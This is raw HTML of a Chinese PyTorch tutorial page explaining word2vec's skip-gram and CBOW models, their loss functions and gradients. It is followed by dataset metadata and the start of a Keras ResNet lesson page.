white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n <li>简介</li>\n <li><a href=\"/d2l-pytorch/chapter01_DL-intro/deep-learning-intro.html\">1. 深度学习简介</a></li>\n <li>预备知识</li>\n <li><a href=\"/d2l-pytorch/chapter02_prerequisite/2.1_install.html\">2.1 环境配置</a></li>\n <li><a href=\"/d2l-pytorch/chapter02_prerequisite/2.2_tensor.html\">2.2 数据操作</a></li>\n <a href=\"/d2l-pytorch/chapter02_prerequisite/2.3_autograd.html\">2.3 自动求梯度</a></li>\n <li>深度学习基础</li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.1_linear-regression.html\">3.1 线性回归</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.2_linear-regression-scratch.html\">3.2 线性回归的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.3_linear-regression-pytorch.html\">3.3 线性回归的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.4_softmax-regression.html\">3.4 softmax回归</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.5_fashion-mnist.html\">3.5 图像分类数据集(Fashion-MNIST)</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.6_softmax-regression-scratch.html\">3.6 softmax回归的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.7_softmax-regression-pytorch.html\">3.7 softmax回归的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.8_mlp.html\">3.8 多层感知机</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.9_mlp-scratch.html\">3.9 多层感知机的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.10_mlp-pytorch.html\">3.10 多层感知机的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.11_underfit-overfit.html\">3.11 模型选择、欠拟合和过拟合</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.12_weight-decay.html\">3.12 权重衰减</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.13_dropout.html\">3.13 丢弃法</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.14_backprop.html\">3.14 正向传播、反向传播和计算图</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.15_numerical-stability-and-init.html\">3.15 数值稳定性和模型初始化</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.16_kaggle-house-price.html\">3.16 实战Kaggle比赛:房价预测</a></li>\n <li>深度学习计算</li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.1_model-construction.html\">4.1 模型构造</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.2_parameters.html\">4.2 模型参数的访问、初始化和共享</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.3_deferred-init.html\">4.3 模型参数的延后初始化</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.4_custom-layer.html\">4.4 自定义层</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.5_read-write.html\">4.5 读取和存储</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.6_use-gpu.html\">4.6 GPU计算</a></li>\n <li>卷积神经网络</li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.1_conv-layer.html\">5.1 二维卷积层</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.2_padding-and-strides.html\">5.2 填充和步幅</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.3_channels.html\">5.3 多输入通道和多输出通道</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.4_pooling.html\">5.4 池化层</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.5_lenet.html\">5.5 卷积神经网络(LeNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.6_alexnet.html\">5.6 深度卷积神经网络(AlexNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.7_vgg.html\">5.7 使用重复元素的网络(VGG)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.8_nin.html\">5.8 网络中的网络(NiN)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.9_googlenet.html\">5.9 含并行连结的网络(GoogLeNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.10_batch-norm.html\">5.10 批量归一化</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.11_resnet.html\">5.11 残差网络(ResNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.12_densenet.html\">5.12 稠密连接网络(DenseNet)</a></li>\n <li>循环神经网络</li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.1_lang-model.html\">6.1 语言模型</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.2_rnn.html\">6.2 循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.3_lang-model-dataset.html\">6.3 语言模型数据集(周杰伦专辑歌词)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.4_rnn-scratch.html\">6.4 循环神经网络的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.5_rnn-pytorch.html\">6.5 循环神经网络的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.6_bptt.html\">6.6 通过时间反向传播</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.7_gru.html\">6.7 门控循环单元(GRU)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.8_lstm.html\">6.8 长短期记忆(LSTM)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.9_deep-rnn.html\">6.9 深度循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.10_bi-rnn.html\">6.10 双向循环神经网络</a></li>\n <li>优化算法</li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.1_optimization-intro.html\">7.1 优化与深度学习</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.2_gd-sgd.html\">7.2 梯度下降和随机梯度下降</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.3_minibatch-sgd.html\">7.3 小批量随机梯度下降</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.4_momentum.html\">7.4 动量法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.5_adagrad.html\">7.5 AdaGrad算法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.6_rmsprop.html\">7.6 RMSProp算法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.7_adadelta.html\">7.7 AdaDelta算法</a></li>\n <a href=\"/d2l-pytorch/chapter07_optimization/7.8_adam.html\">7.8 Adam算法</a></li>\n <li>计算性能</li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.1_hybridize.html\">8.1 命令式和符号式混合编程</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.2_async-computation.html\">8.2 异步计算</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.3_auto-parallelism.html\">8.3 自动并行计算</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.4_multiple-gpus.html\">8.4 多GPU计算</a></li>\n <li>计算机视觉</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.1_image-augmentation.html\">9.1 图像增广</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.2_fine-tuning.html\">9.2 微调</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.3_bounding-box.html\">9.3 目标检测和边界框</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.4_anchor.html\">9.4 锚框</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.5_multiscale-object-detection.html\">9.5 多尺度目标检测</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.6_object-detection-dataset.html\">9.6 目标检测数据集(皮卡丘)</a></li>\n <li>9.7 单发多框检测(SSD)</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.8_rcnn.html\">9.8 区域卷积神经网络(R-CNN)系列</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.9_semantic-segmentation-and-dataset.html\">9.9 语义分割和数据集</a></li>\n <li>9.10 全卷积网络(FCN)</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.11_neural-style.html\">9.11 样式迁移</a></li>\n <li>9.12 实战Kaggle比赛:图像分类(CIFAR-10)</li>\n <li>9.13 实战Kaggle比赛:狗的品种识别(ImageNet Dogs)<li>\n <li>自然语言处理</li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.1_word2vec.html\">10.1 词嵌入(word2vec)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.2_approx-training.html\">10.2 近似训练</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.3_word2vec-pytorch.html\">10.3 word2vec的实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.4_fasttext.html\">10.4 子词嵌入(fastText)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.5_glove.html\">10.5 全局向量的词嵌入(GloVe)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.6_similarity-analogy.html\">10.6 求近义词和类比词</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.7_sentiment-analysis-rnn.html\">10.7 文本情感分类:使用循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.8_sentiment-analysis-cnn.html\">10.8 文本情感分类:使用卷积神经网络(textCNN)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.9_seq2seq.html\">10.9 编码器—解码器(seq2seq)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.10_beam-search.html\">10.10 束搜索</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.11_attention.html\">10.11 注意力机制</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.12_machine-translation.html\">10.12 机器翻译</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>10.1 词嵌入(word2vec)</h1>\n<blockquote>\n<p>注:个人觉得本节和下一节写得过于简洁,对于初学者来说可能比较难懂。所以强烈推荐读一读博客<a href=\"https://www.zybuluo.com/Dounm/note/591752\">Word2Vec-知其然知其所以然</a>。</p>\n</blockquote>\n<p>自然语言是一套用来表达含义的复杂系统。在这套系统中,词是表义的基本单元。顾名思义,词向量是用来表示词的向量,也可被认为是词的特征向量或表征。把词映射为实数域向量的技术也叫词嵌入(word embedding)。近年来,词嵌入已逐渐成为自然语言处理的基础知识。</p>\n<h2>10.1.1 为何不采用one-hot向量</h2>\n<p>我们在6.4节(循环神经网络的从零开始实现)中使用one-hot向量表示词(字符为词)。回忆一下,假设词典中不同词的数量(词典大小)为$N$,每个词可以和从0到$N-1$的连续整数一一对应。这些与词对应的整数叫作词的索引。\n假设一个词的索引为$i$,为了得到该词的one-hot向量表示,我们创建一个全0的长为$N$的向量,并将其第$i$位设成1。这样一来,每个词就表示成了一个长度为$N$的向量,可以直接被神经网络使用。</p>\n<p>虽然one-hot词向量构造起来很容易,但通常并不是一个好选择。一个主要的原因是,one-hot词向量无法准确表达不同词之间的相似度,如我们常常使用的余弦相似度。对于向量$\\boldsymbol{x}, \\boldsymbol{y} \\in \\mathbb{R}^d$,它们的余弦相似度是它们之间夹角的余弦值</p>\n<p>$$\\frac{\\boldsymbol{x}^\\top \\boldsymbol{y}}{|\\boldsymbol{x}| |\\boldsymbol{y}|} \\in [-1, 1].$$</p>\n<p>由于任何两个不同词的one-hot向量的余弦相似度都为0,多个不同词之间的相似度难以通过one-hot向量准确地体现出来。</p>\n<p>word2vec工具的提出正是为了解决上面这个问题 [1]。它将每个词表示成一个定长的向量,并使得这些向量能较好地表达不同词之间的相似和类比关系。word2vec工具包含了两个模型,即跳字模型(skip-gram)[2] 和连续词袋模型(continuous bag of words,CBOW)[3]。接下来让我们分别介绍这两个模型以及它们的训练方法。</p>\n<h2>10.1.2 跳字模型</h2>\n<p>跳字模型假设基于某个词来生成它在文本序列周围的词。举个例子,假设文本序列是“the”“man”“loves”“his”“son”。以“loves”作为中心词,设背景窗口大小为2。如图10.1所示,跳字模型所关心的是,给定中心词“loves”,生成与它距离不超过2个词的背景词“the”“man”“his”“son”的条件概率,即</p>\n<p>$$P(\\textrm{<code>the\"},\\textrm{</code>man\"},\\textrm{<code>his\"},\\textrm{</code>son\"}\\mid\\textrm{``loves\"}).$$</p>\n<p>假设给定中心词的情况下,背景词的生成是相互独立的,那么上式可以改写成</p>\n<p>$$P(\\textrm{<code>the\"}\\mid\\textrm{</code>loves\"})\\cdot P(\\textrm{<code>man\"}\\mid\\textrm{</code>loves\"})\\cdot P(\\textrm{<code>his\"}\\mid\\textrm{</code>loves\"})\\cdot P(\\textrm{<code>son\"}\\mid\\textrm{</code>loves\"}).$$</p>\n<div align=center>\n<img width=\"300\" src=\"../img/chapter10/10.1_skip-gram.svg\"/>\n</div>\n\n<div align=center>图10.1 跳字模型关心给定中心词生成背景词的条件概率</div>\n\n<p>在跳字模型中,每个词被表示成两个$d$维向量,用来计算条件概率。假设这个词在词典中索引为$i$,当它为中心词时向量表示为$\\boldsymbol{v}_i\\in\\mathbb{R}^d$,而为背景词时向量表示为$\\boldsymbol{u}_i\\in\\mathbb{R}^d$。设中心词$w_c$在词典中索引为$c$,背景词$w_o$在词典中索引为$o$,给定中心词生成背景词的条件概率可以通过对向量内积做softmax运算而得到:</p>\n<p>$$P(w_o \\mid w_c) = \\frac{\\text{exp}(\\boldsymbol{u}<em>o^\\top \\boldsymbol{v}_c)}{ \\sum</em>{i \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}_i^\\top \\boldsymbol{v}_c)},$$</p>\n<p>其中词典索引集$\\mathcal{V} = {0, 1, \\ldots, |\\mathcal{V}|-1}$。假设给定一个长度为$T$的文本序列,设时间步$t$的词为$w^{(t)}$。假设给定中心词的情况下背景词的生成相互独立,当背景窗口大小为$m$时,跳字模型的似然函数即给定任一中心词生成所有背景词的概率</p>\n<p>$$ \\prod_{t=1}^{T} \\prod_{-m \\leq j \\leq m,\\ j \\neq 0} P(w^{(t+j)} \\mid w^{(t)}),$$</p>\n<p>这里小于1和大于$T$的时间步可以忽略。</p>\n<h3>10.1.2.1 训练跳字模型</h3>\n<p>跳字模型的参数是每个词所对应的中心词向量和背景词向量。训练中我们通过最大化似然函数来学习模型参数,即最大似然估计。这等价于最小化以下损失函数:</p>\n<p>$$ - \\sum_{t=1}^{T} \\sum_{-m \\leq j \\leq m,\\ j \\neq 0} \\text{log}\\, P(w^{(t+j)} \\mid w^{(t)}).$$</p>\n<p>如果使用随机梯度下降,那么在每一次迭代里我们随机采样一个较短的子序列来计算有关该子序列的损失,然后计算梯度来更新模型参数。梯度计算的关键是条件概率的对数有关中心词向量和背景词向量的梯度。根据定义,首先看到</p>\n<p>$$\\log P(w_o \\mid w_c) =\n\\boldsymbol{u}<em>o^\\top \\boldsymbol{v}_c - \\log\\left(\\sum</em>{i \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}_i^\\top \\boldsymbol{v}_c)\\right)$$</p>\n<p>通过微分,我们可以得到上式中$\\boldsymbol{v}_c$的梯度</p>\n<p>$$\n\\begin{aligned}\n\\frac{\\partial \\text{log}\\, P(w_o \\mid w_c)}{\\partial \\boldsymbol{v}<em>c} \n&amp;= \\boldsymbol{u}_o - \\frac{\\sum</em>{j \\in \\mathcal{V}} \\exp(\\boldsymbol{u}<em>j^\\top \\boldsymbol{v}_c)\\boldsymbol{u}_j}{\\sum</em>{i \\in \\mathcal{V}} \\exp(\\boldsymbol{u}<em>i^\\top \\boldsymbol{v}_c)}\\\n&amp;= \\boldsymbol{u}_o - \\sum</em>{j \\in \\mathcal{V}} \\left(\\frac{\\text{exp}(\\boldsymbol{u}<em>j^\\top \\boldsymbol{v}_c)}{ \\sum</em>{i \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}<em>i^\\top \\boldsymbol{v}_c)}\\right) \\boldsymbol{u}_j\\ \n&amp;= \\boldsymbol{u}_o - \\sum</em>{j \\in \\mathcal{V}} P(w_j \\mid w_c) \\boldsymbol{u}_j.\n\\end{aligned}\n$$</p>\n<p>它的计算需要词典中所有词以$w_c$为中心词的条件概率。有关其他词向量的梯度同理可得。</p>\n<p>训练结束后,对于词典中的任一索引为$i$的词,我们均得到该词作为中心词和背景词的两组词向量$\\boldsymbol{v}_i$和$\\boldsymbol{u}_i$。在自然语言处理应用中,一般使用跳字模型的中心词向量作为词的表征向量。</p>\n<h2>10.1.3 连续词袋模型</h2>\n<p>连续词袋模型与跳字模型类似。与跳字模型最大的不同在于,连续词袋模型假设基于某中心词在文本序列前后的背景词来生成该中心词。在同样的文本序列“the”“man”“loves”“his”“son”里,以“loves”作为中心词,且背景窗口大小为2时,连续词袋模型关心的是,给定背景词“the”“man”“his”“son”生成中心词“loves”的条件概率(如图10.2所示),也就是</p>\n<p>$$P(\\textrm{<code>loves\"}\\mid\\textrm{</code>the\"},\\textrm{<code>man\"},\\textrm{</code>his\"},\\textrm{``son\"}).$$</p>\n<div align=center>\n<img width=\"300\" src=\"../img/chapter10/10.1_cbow.svg\"/>\n</div>\n\n<div align=center>图10.2 连续词袋模型关心给定背景词生成中心词的条件概率</div>\n\n<p>因为连续词袋模型的背景词有多个,我们将这些背景词向量取平均,然后使用和跳字模型一样的方法来计算条件概率。设$\\boldsymbol{v_i}\\in\\mathbb{R}^d$和$\\boldsymbol{u_i}\\in\\mathbb{R}^d$分别表示词典中索引为$i$的词作为背景词和中心词的向量(注意符号的含义与跳字模型中的相反)。设中心词$w_c$在词典中索引为$c$,背景词$w_{o_1}, \\ldots, w_{o_{2m}}$在词典中索引为$o_1, \\ldots, o_{2m}$,那么给定背景词生成中心词的条件概率</p>\n<p>$$P(w_c \\mid w_{o_1}, \\ldots, w_{o_{2m}}) = \\frac{\\text{exp}\\left(\\frac{1}{2m}\\boldsymbol{u}<em>c^\\top (\\boldsymbol{v}</em>{o_1} + \\ldots + \\boldsymbol{v}<em>{o</em>{2m}}) \\right)}{ \\sum_{i \\in \\mathcal{V}} \\text{exp}\\left(\\frac{1}{2m}\\boldsymbol{u}<em>i^\\top (\\boldsymbol{v}</em>{o_1} + \\ldots + \\boldsymbol{v}<em>{o</em>{2m}}) \\right)}.$$</p>\n<p>为了让符号更加简单,我们记$\\mathcal{W}<em>o= {w</em>{o_1}, \\ldots, w_{o_{2m}}}$,且$\\bar{\\boldsymbol{v}}<em>o = \\left(\\boldsymbol{v}</em>{o_1} + \\ldots + \\boldsymbol{v}<em>{o</em>{2m}} \\right)/(2m)$,那么上式可以简写成</p>\n<p>$$P(w_c \\mid \\mathcal{W}<em>o) = \\frac{\\exp\\left(\\boldsymbol{u}_c^\\top \\bar{\\boldsymbol{v}}_o\\right)}{\\sum</em>{i \\in \\mathcal{V}} \\exp\\left(\\boldsymbol{u}_i^\\top \\bar{\\boldsymbol{v}}_o\\right)}.$$</p>\n<p>给定一个长度为$T$的文本序列,设时间步$t$的词为$w^{(t)}$,背景窗口大小为$m$。连续词袋模型的似然函数是由背景词生成任一中心词的概率</p>\n<p>$$ \\prod_{t=1}^{T} P(w^{(t)} \\mid w^{(t-m)}, \\ldots, w^{(t-1)}, w^{(t+1)}, \\ldots, w^{(t+m)}).$$</p>\n<h3>10.1.3.1 训练连续词袋模型</h3>\n<p>训练连续词袋模型同训练跳字模型基本一致。连续词袋模型的最大似然估计等价于最小化损失函数</p>\n<p>$$ -\\sum_{t=1}^T \\text{log}\\, P(w^{(t)} \\mid w^{(t-m)}, \\ldots, w^{(t-1)}, w^{(t+1)}, \\ldots, w^{(t+m)}).$$</p>\n<p>注意到</p>\n<p>$$\\log\\,P(w_c \\mid \\mathcal{W}<em>o) = \\boldsymbol{u}_c^\\top \\bar{\\boldsymbol{v}}_o - \\log\\,\\left(\\sum</em>{i \\in \\mathcal{V}} \\exp\\left(\\boldsymbol{u}_i^\\top \\bar{\\boldsymbol{v}}_o\\right)\\right).$$</p>\n<p>通过微分,我们可以计算出上式中条件概率的对数有关任一背景词向量$\\boldsymbol{v}_{o_i}$($i = 1, \\ldots, 2m$)的梯度</p>\n<p>$$\\frac{\\partial \\log\\, P(w_c \\mid \\mathcal{W}<em>o)}{\\partial \\boldsymbol{v}</em>{o_i}} = \\frac{1}{2m} \\left(\\boldsymbol{u}<em>c - \\sum</em>{j \\in \\mathcal{V}} \\frac{\\exp(\\boldsymbol{u}<em>j^\\top \\bar{\\boldsymbol{v}}_o)\\boldsymbol{u}_j}{ \\sum</em>{i \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}<em>i^\\top \\bar{\\boldsymbol{v}}_o)} \\right) = \\frac{1}{2m}\\left(\\boldsymbol{u}_c - \\sum</em>{j \\in \\mathcal{V}} P(w_j \\mid \\mathcal{W}_o) \\boldsymbol{u}_j \\right).$$</p>\n<p>有关其他词向量的梯度同理可得。同跳字模型不一样的一点在于,我们一般使用连续词袋模型的背景词向量作为词的表征向量。</p>\n<h2>小结</h2>\n<ul>\n<li>词向量是用来表示词的向量。把词映射为实数域向量的技术也叫词嵌入。</li>\n<li>word2vec包含跳字模型和连续词袋模型。跳字模型假设基于中心词来生成背景词。连续词袋模型假设基于背景词来生成中心词。</li>\n</ul>\n<h2>参考文献</h2>\n<p>[1] word2vec工具。https://code.google.com/archive/p/word2vec/</p>\n<p>[2] Mikolov, T., Sutskever, I., Chen, K., Corrado, G. S., &amp; Dean, J. (2013). Distributed representations of words and phrases and their compositionality. In Advances in neural information processing systems (pp. 3111-3119).</p>\n<p>[3] Mikolov, T., Chen, K., Corrado, G., &amp; Dean, J. (2013). Efficient estimation of word representations in vector space. arXiv preprint arXiv:1301.3781.</p>\n<hr />\n<blockquote>\n<p>注:本节与原书完全相同,<a href=\"https://zh.d2l.ai/chapter_natural-language-processing/word2vec.html\">原书传送门</a></p>\n</blockquote>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.60246741771698, "alphanum_fraction": 0.6285557150840759, "avg_line_length": 33.212364196777344, "blob_id": "c5814916b177098da9ece61ba53c3d42bceb62cc", "content_id": "87ddc1c999fc83cf0bc04206b8be580e55f23a98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 15762, "license_type": "no_license", "max_line_length": 198, "num_lines": 372, "path": "/keras/class_4.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Keras入门课4:使用ResNet识别cifar10数据集 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li>文章目录</li>\n<li><a href=\"./class_1.html\">Keras入门课1 -- 用MLP识别mnist手写字符</a></li>\n<li><a href=\"./class_2.html\">Keras入门课2 -- 使用CNN识别mnist手写数字</a></li>\n<li><a href=\"./class_3.html\">Keras入门课3 -- 使用CNN识别cifar10数据集</a></li>\n<li><a href=\"./class_4.html\">Keras入门课4 -- 使用ResNet识别cifar10数据集</a></li>\n<li><a href=\"./class_5.html\">Keras入门课5 -- 网络可视化及训练监控</a></li>\n<li>\n<p>知识点目录 数据处理相关</p>\n</li>\n<li>\n<p><a href=\"./class_1.html\">载入Keras中预置的数据库及数据库数据的基本变换</a></p>\n</li>\n<li><a 